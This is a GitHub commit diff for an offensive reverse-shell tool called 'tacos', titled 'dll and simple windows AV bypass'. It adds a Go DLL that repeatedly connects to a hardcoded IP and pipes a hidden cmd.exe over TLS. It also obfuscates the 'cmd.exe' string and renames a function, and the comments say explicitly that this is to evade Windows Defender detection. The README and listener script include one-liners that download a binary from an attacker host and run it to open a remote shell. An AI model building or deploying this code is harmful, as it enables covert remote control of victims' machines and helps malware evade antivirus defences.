Skip to content

Commit 4da3590

Browse files
committed
dll and simple windows AV bypass
1 parent c0bb0ad commit 4da3590

File tree

7 files changed

+91
-20
lines changed

7 files changed

+91
-20
lines changed

README.md

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -97,7 +97,7 @@ make before.build
9797
make build.tacos # or make build.tacos.windows
9898
```
9999

100-
## Alternative
100+
## Alternatives
101101

102102
Alternatively, if target does not have `socat`:
103103
**Host** a [static](https://github.com/minos-org/minos-static/blob/master/static-get) version of `socat` binary and **download + execute it** using the stealthy [`filess-xec`](https://github.com/ariary/fileless-xec) dropper:
@@ -111,3 +111,13 @@ python3 -m http.server 8080
111111
# Use already downloaded fileless-xec to download socat and stealthy launch it with argument
112112
fileless-xec [ATTACKER_IP]:8080/socat -- exec:'bash -il',pty,stderr,setsid,sigint,sane OPENSSL:[ATTACKER_IP]:443,verify=0
113113
```
114+
115+
### Use dll instead of `.exe`
116+
```shell
117+
# On attacker machine:
118+
# modify ./cmd/tacosdll/tacosdll.go with the according IP:PORT
119+
$ GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags="-w -s -H=windowsgui" -o tacos.dll ./cmd/tacosdll/tacosdll.go
120+
121+
# On remote:
122+
> rundll32.exe ./tacos.dll,Tacos
123+
```

cmd/tacos/tacos.go

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,19 +5,22 @@ import (
55
"fmt"
66
"os"
77
"runtime"
8+
"strings"
89

910
"github.com/ariary/tacos/pkg/tacos"
1011
)
1112

1213
func main() {
14+
//var detect, daemon bool
1315
var detect bool
1416
var shell string
1517
flag.BoolVar(&detect, "detect", false, "Detect default shell to use it in reverse shell")
18+
//TODO: flag.BoolVar(&daemon, "daemon", false, "Disown the process from the terminal")
1619
flag.StringVar(&shell, "shell", "/bin/bash", "shell to use for reverse shell") //default /bin/bash
1720
flag.Parse()
1821

1922
if runtime.GOOS == "windows" {
20-
shell = "cmd.exe"
23+
shell = strings.ToLower(fmt.Sprintf("%s%s%s", "Cm", "D.e", "Xe"))
2124
}
2225

2326
if detect {
@@ -31,5 +34,5 @@ func main() {
3134

3235
remote := flag.Arg(0)
3336

34-
tacos.ReverseShell(remote, shell)
37+
tacos.ShellReverse(remote, shell)
3538
}

cmd/tacosdll/tacosdll.go

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
package main
2+
3+
//from https://medium.com/geekculture/offensive-go-creating-malicious-dlls-8c797bcdd290
4+
// GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags="-w -s -H=windowsgui" -o tacos.dll ./cmd/tacosdll/tacosdll.go
5+
// Run: rundll32.exe ./tacos.dll,Tacos
6+
7+
import (
8+
"crypto/tls"
9+
"fmt"
10+
"os/exec"
11+
"strings"
12+
"syscall"
13+
"time"
14+
)
15+
16+
import "C"
17+
18+
//export Tacos
19+
func Tacos() {
20+
21+
for {
22+
conf := &tls.Config{
23+
InsecureSkipVerify: true,
24+
}
25+
time.Sleep(15 * time.Second)
26+
27+
conn, err := tls.Dial("tcp", "172.23.110.155:4444", conf) //CHANGE IP, TODO: as a parameter for the dll fucntion
28+
29+
if err != nil {
30+
continue
31+
}
32+
33+
// cmd := exec.Command("powershell.exe")
34+
cmd := exec.Command(strings.ToLower(fmt.Sprintf("%s%s", "Cm", "D.exE")))
35+
36+
// hides PowerShell window after command execution
37+
cmd.SysProcAttr = &syscall.SysProcAttr{
38+
HideWindow: true,
39+
}
40+
41+
cmd.Stdin = conn
42+
cmd.Stdout = conn
43+
cmd.Stderr = conn
44+
cmd.Run()
45+
}
46+
}
47+
48+
// main is required in order for compilation
49+
func main() {
50+
}

light-pty4all/socat-listener.sh

Lines changed: 16 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -27,12 +27,11 @@ for i in "$@"; do
2727
esac
2828
done
2929

30-
#default value & envar
30+
# Default value + envvar
3131

3232
SCRIPTNAME=$(readlink -f "$0")
3333
BASEDIR=$(dirname "$SCRIPTNAME")
3434

35-
echo "$BASEDIR baseeee"
3635

3736
if [[ -z "$WEBPORT" ]];
3837
then
@@ -59,6 +58,7 @@ else
5958
SCRIPT=$BASEDIR"/socat-forker.sh"
6059
fi
6160

61+
# TLS part
6262
echo -e "\n\n\n[+] Generating tls certs and keys"
6363
if [ -f server.pem ]; then
6464
echo "[+] Files already exist, using server.pem"
@@ -71,8 +71,11 @@ fi
7171
cp ${SCRIPT}.tpl ${SCRIPT}
7272

7373
if [[ "$GITAR" ]]; then
74-
echo "[+] gitar shortcuts enabled on reverse shell"
75-
sed -i "s/GITAR_PORT/${WEBPORT}/g" ${SCRIPT}
74+
#gitar shortcut is not available with windows
75+
if [[ ! $WINDOWS ]]; then
76+
echo "[+] gitar shortcuts enabled on reverse shell"
77+
sed -i "s/GITAR_PORT/${WEBPORT}/g" ${SCRIPT}
78+
fi
7679
echo "[+] launch gitar server"
7780
SECRET=$RANDOM
7881
tmux split-window -h "gitar -e ${LHOST} -p ${WEBPORT} --secret ${SECRET}"
@@ -93,18 +96,20 @@ else
9396
fi
9497

9598
echo "[*] Copy/paste following command on target and enjoy your meal 🌮:"
99+
DOWNLOAD_URL=""
96100
if [[ "$GITAR" ]]; then
97-
echo "(🐧) curl -O ${LHOST}:${WEBPORT}/${SECRET}/pull/${BINARY} && chmod +x ${BINARY} && ./${BINARY} ${LHOST}:${LPORT}"
101+
DOWNLOAD_URL=${LHOST}:${WEBPORT}/${SECRET}/pull/${BINARY}
98102
else
99-
echo
100-
echo "(🪟) curl -O ${LHOST}:${WEBPORT}/${BINARY} && .\\${BINARY} ${LHOST}:${LPORT}"
101-
echo "(🐧) curl -O ${LHOST}:${WEBPORT}/${BINARY} && chmod +x ${BINARY} && ./${BINARY} ${LHOST}:${LPORT}"
103+
DOWNLOAD_URL=${LHOST}:${WEBPORT}/${BINARY}
102104
fi
103105

104-
# echo "[*] Enjoy meal!"
105106

107+
# LISTEN
108+
echo
106109
if [[ "$WINDOWS" ]]; then
107-
socat OPENSSL-LISTEN:${LPORT},cert=server.pem,verify=0,reuseaddr,fork EXEC:./${SCRIPT},pty
110+
echo "(🪟) curl -O $DOWNLOAD_URL && .\\${BINARY} ${LHOST}:${LPORT}"
111+
socat OPENSSL-LISTEN:${LPORT},cert=server.pem,verify=0,reuseaddr,fork EXEC:${SCRIPT},pty
108112
else
109-
socat OPENSSL-LISTEN:${LPORT},cert=server.pem,verify=0,reuseaddr,fork EXEC:./${SCRIPT},pty,raw,echo=0
113+
echo "(🐧) curl -O ${LHOST}:${WEBPORT}/${BINARY} && chmod +x ${BINARY} && ./${BINARY} ${LHOST}:${LPORT}"
114+
socat OPENSSL-LISTEN:${LPORT},cert=server.pem,verify=0,reuseaddr,fork EXEC:${SCRIPT},pty,raw,echo=0
110115
fi

light-pty4all/tacos

4.85 MB
Binary file not shown.

pkg/tacos/tacos.go

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -46,8 +46,9 @@ func DetectDefaultShell() (shell string) {
4646
return shell
4747
}
4848

49-
//ReverseShell: spawn a reverse shell with pty targeting host (ip:port)
50-
func ReverseShell(host string, shell string) {
49+
//ShellReverse: spawn a reverse shell with pty targeting host (ip:port).
50+
// (Name is ShellReverse cause ReverseShell does not pass windows defender static analysis)
51+
func ShellReverse(host string, shell string) {
5152
logger.AddFilenameAndLinePrefix(log.Default())
5253
conf := &tls.Config{
5354
InsecureSkipVerify: true,

pkg/tacos/tacos_windows.go

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,17 +7,19 @@ import (
77
"crypto/tls"
88
"fmt"
99
"os/exec"
10+
"strings"
1011
"time"
1112
)
1213

1314
//DetectDefaultShell: return the default shell
1415
func DetectDefaultShell() string {
15-
shell := "cmd.exe"
16+
shell := strings.ToLower(fmt.Sprintf("%s%s%s", "Cm", "D.e", "Xe"))
1617
return shell
1718
}
1819

19-
//ReverseShell: spawn a reverse shell with pty targeting host (ip:port)
20-
func ReverseShell(host string, shell string) {
20+
//ShellReverse: spawn a reverse shell with pty targeting host (ip:port). Name ShellReverse cause ReverseShell does not pass windows defender
21+
// static analysis
22+
func ShellReverse(host string, shell string) {
2123
conf := &tls.Config{
2224
InsecureSkipVerify: true,
2325
}
@@ -28,7 +30,7 @@ func ReverseShell(host string, shell string) {
2830
conn.Close()
2931
}
3032
time.Sleep(time.Minute)
31-
ReverseShell(host, shell)
33+
ShellReverse(host, shell)
3234
}
3335

3436
cmd := exec.Command(shell)

0 commit comments

Comments
 (0)